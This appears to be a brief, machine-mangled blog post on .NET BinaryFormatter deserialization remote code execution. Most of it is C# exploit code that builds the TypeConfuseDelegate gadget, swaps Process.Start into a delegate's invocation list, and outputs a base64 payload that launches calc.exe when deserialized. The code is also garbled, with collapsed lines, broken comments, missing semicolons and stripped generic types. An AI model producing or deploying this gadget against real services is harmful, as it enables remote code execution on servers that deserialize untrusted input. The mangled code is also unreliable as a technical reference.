BinaryFormatter of .net deserialization vulnerability

Https://googleprojectzero.blogspot.com.es/2017/04/exploiting-net-managed-dcom.html

The sample of RCE caused by .net deserialization has two limitations:

Content deserialized by BinaryFormatter::Deserialize is controllable by user. Net SDK is greater than or equal to 4.5using System;using System.Collections.Generic;using System.Diagnostics;using System.IO;using System.Linq;using System.Reflection;using System.Runtime.Serialization.Formatters;using System.Runtime.Serialization.Formatters.Binary;using System.Text;using System.Threading.Tasks Namespace Deserializer {class Program {public static void getCalcPayload () {/ / Create a simple multicast delegate Delegate d = new Comparison (String.Compare); Comparison D2 = (Comparison) MulticastDelegate.Combine (d, d); / / Create set with original comparer IComparer comp = Comparer.Create (D2); SortedSet set = new SortedSet (comp) Set.Add ("calc"); set.Add ("adummy"); TypeConfuseDelegate (D2); BinaryFormatter formatter = new BinaryFormatter {AssemblyFormat = FormatterAssemblyStyle.Simple}; using (MemoryStream stream = new MemoryStream ()) {formatter.Serialize (stream, set) Int position = (int) stream.Position; byte [] array = stream.GetBuffer (); Array.Resize (ref array, position); String payload = Convert.ToBase64String (array); Console.WriteLine ("Calc.exe PayLoad:" + payload); / / FileSystemUtils.Pullfile (payload, "payload_calc.dat") Stream.Position = 0; formatter.Deserialize (stream);}} static void TypeConfuseDelegate (Comparison comp) {FieldInfo fi = typeof (MulticastDelegate) .GetField ("_ invocationList", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Instance); object [] invoke_list = comp.GetInvocationList () / / Modify the invocation list to add Process::Start (string, string) invoke_list [1] = new Func (Process.Start); fi.SetValue (comp, invoke_list);} static void Main (string [] args) {getCalcPayload ();}